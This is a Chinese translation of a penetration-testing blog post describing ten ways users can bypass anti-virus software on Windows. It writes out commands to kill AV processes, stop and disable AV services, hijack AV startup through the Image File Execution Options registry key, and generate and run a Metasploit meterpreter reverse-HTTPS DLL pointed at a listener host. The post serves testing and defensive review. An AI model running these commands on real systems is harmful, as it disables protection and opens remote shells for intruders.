10个绕过反病毒的恶意用户技巧
原文:https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/
介绍
译者注:很多不通顺的语句改掉了,还有反病毒解决方案统一翻译为了反病毒软件。无关紧要的话直接意思翻译
许多反病毒软件的部署配置方法较弱,为最终用户提供了根据需求快速禁用或解决产品问题方法。因此,即使没有超级黑客“技能”的用户也可以运行恶意可执行文件(有意或无意),而无需以任何方式实际修改它们以避免检测。这种技术很适合于渗透测试。本博客将简要概述10个需要注意的问题。对于在当前实现中寻找基本弱点的管理员来说应该是有趣的。对于经验丰富的老人来说,这篇文章很可能不那么有趣。
免责声明:文章中的方法不是完整的方法,事实上也没有完美的绕过方法。我已经列出了本文的提纲,给那些不想上来就阅读的读者。
1、添加反病毒软件信任名单策略
2、通过GUI禁用反病毒软件
3、终止反病毒软件进程
4、停止并禁用反病毒服务
5、调试设置禁用反病毒软件
6、卸载反病毒软件
7、从UNC路径或可移动媒体执行
8、从备用数据流执行
9、DLL执行
10、外部文件系统执行
添加防病毒软件信任名单策略
一个有趣的选项是反病毒软件的策略偶尔用到的例外选项(可以理解是信任名单)。例如用户可以创建一个异常,允许所有具有“.exe”扩展名的文件在系统上运行。因此,大多数恶意软件和“黑客工具”都不会被阻止或删除。有关如何在Symantec End Point Protection产品中完成此操作的示例,请参阅以下Symantec帮助页面: http://www.symantec.com/business/support/index?page=content&id=TECH104326
通过GUI禁用反病毒
这在近几年不太常见,但历史上非管理用户有权通过GUI界面禁用许多反病毒软件。过去就像右键单击任务栏图标并选择禁用一样简单。可以想象,执行绕过反病毒所需的技能水平很低,但组织面临的风险很高。
终止反病毒软件进程
一些反病毒软件由多个服务组成,这些服务喜欢不断重启。 那在禁用服务之前终止进程可以派上用场。 通常可以使用taskkill命令。 这是基于Metasploit发布模块“killav”的作用。 仔细查看该模块可以在这里找到:https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/killav.rb
您可以发出以下命令,使用taskkill手动强制终止任务:
Taskkill /F /IM avprocess.exe
停止并禁用反病毒服务
在某些情况下,用户没有通过GUI禁用反病毒的权限,但他们确实可以控制相关服务。 如果是这种情况,则通常可以停止和禁用防病毒服务。 这可以通过services.msc,“sc”命令或“net stop”命令来完成。 但是在退出系统之前,请始终确保成为一个好的测试者并将服务恢复到其原始状态。
要停止Windows服务,请发出以下命令:
net stop “service name”
要禁用Windows服务,请发出以下命令:
sc config "service name" start= disabled
services.msc控制台还可用于通过GUI界面停止和禁用服务。 可以通过导航到【开始菜单】-> 【运行】并键入“services.msc”来访问它。
通过调试设置禁用反病毒软件
这是Khai Tran告诉我的一个非常酷的技巧。他引用的原始文章可以在http://blogs.msdn.com/b/greggm/archive/2005/02/21/377663.aspx找到。我建议看看这篇文章。简而言之,用户可以通过在注册表中设置自定义调试器来防止运行反病毒程序。当操作系统或用户尝试执行反病毒软件时,将执行指定的调试程序。这个方法太聪明了,恶意软件开发人员多年来一直使用它。下面提供了进行攻击的基本步骤。请注意,这些是从上面的链接中获取的。
运行regedit.exe
转到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image文件执行选项
创建一个新密钥(例如:calc.exe)
在exe下创建一个新的字符串值。字符串值的名称是'Debugger',值是svchost.exe(或任何东西)
卸载反病毒软件
虽然我不建议在渗透测试期间卸载反病毒软件,但这个方法仍然可以被视为有效的旁路方法。在卸载过程开始之前,某些反病毒卸载可能需要密码。在这些情况下,通常可以在注册表或系统上的ini文件中找到密码。但是可以使用其他旁路方法,如下面文章链接中所述。文章中建议在提示输入卸载密码时简单地终止“msiexec.exe”进程。http://helpdeskgeek.com/help-desk/uninstall-symantec-endpoint-protection-without-a-password/
从UNC路径或可移动媒体执行(U盘)
某些反病毒软件未配置为在通过UNC路径访问时扫描或阻止从SMB或WebDAV执行恶意二进制文件。这很奇怪,但确实如此。因此攻击者可以简单地映射包含后门,黑客工具等恶意的共享,并执行恶意软件。我猜有些人的印象是恶意软件无法存储在网络驱动器上。同样,某些反病毒软件未配置为扫描或阻止从可移动介质(如SD卡,iPod或USB驱动器)执行二进制文件。在社会工程学活动中现场丢弃恶意的USB驱动器是很常见的手法,所以这个让我有点害怕。
从备用数据流执行
备用数据流允许用户通过扩展文件名将数据存储在文件中。微软表示,“默认情况下,所有数据都存储在文件的主要未命名数据流中,但通过使用语法 ‘file:stream’可以读取和写入替换数据。恶意软件通常在备用流中存储文本,有效载荷(Payload)甚至完整二进制文件。历史上,反病毒软件错过了许多使用替代数据流的恶意软件。然而,多年来,AV在寻找它们方面变得更好。您可以使用流扫描系统中包含备用数据流的文件(http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx)来自Sysinternals工具包的工具。此外,您可以使用下面的基本示例自行尝试该技术。将文本“Hello world”回显到新文件的主数据流中:
echo Hello world > file
将文本“Hello Evil”回显为备用数据流:
echo Hello evil > file:evil
从文件的主数据流中读取:
type file
从文件的替代数据流中读取:
type file:evil
从DLL执行
在某些情况下,我发现如果反病毒软件被放入DLL而不是EXE文件中,反病毒软件就会错过恶意代码。我提供了一个如何使用Metasploit框架生成和运行DLL的基本示例。使用msfpayload命令创建包含meterpreter有效Payload的evil.DLL:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 D > evil.dll
使用Rundll32命令运行DLL main函数:
Rundll32 evil.dll, @DllMain12
从文件系统外部执行
显然,一些恶意软件存储并执行磁盘上文件系统外部的代码。听起来您可以通过某种方式引用物理驱动器来访问代码。我没有时间真正探索这个,但在“ 实用恶意软件分析:解析恶意软件的动手指南 ”一书中有所涉及。当我了解到更多细节的时候,我会再次分享。如果有人有详细信息,也请告诉我。
总结
为了刨析反病毒软件保护机制。我的博客会写一些通过源代码,二进制和流程操作来绕过反病毒软件的文章,对常见绕过方法做总结。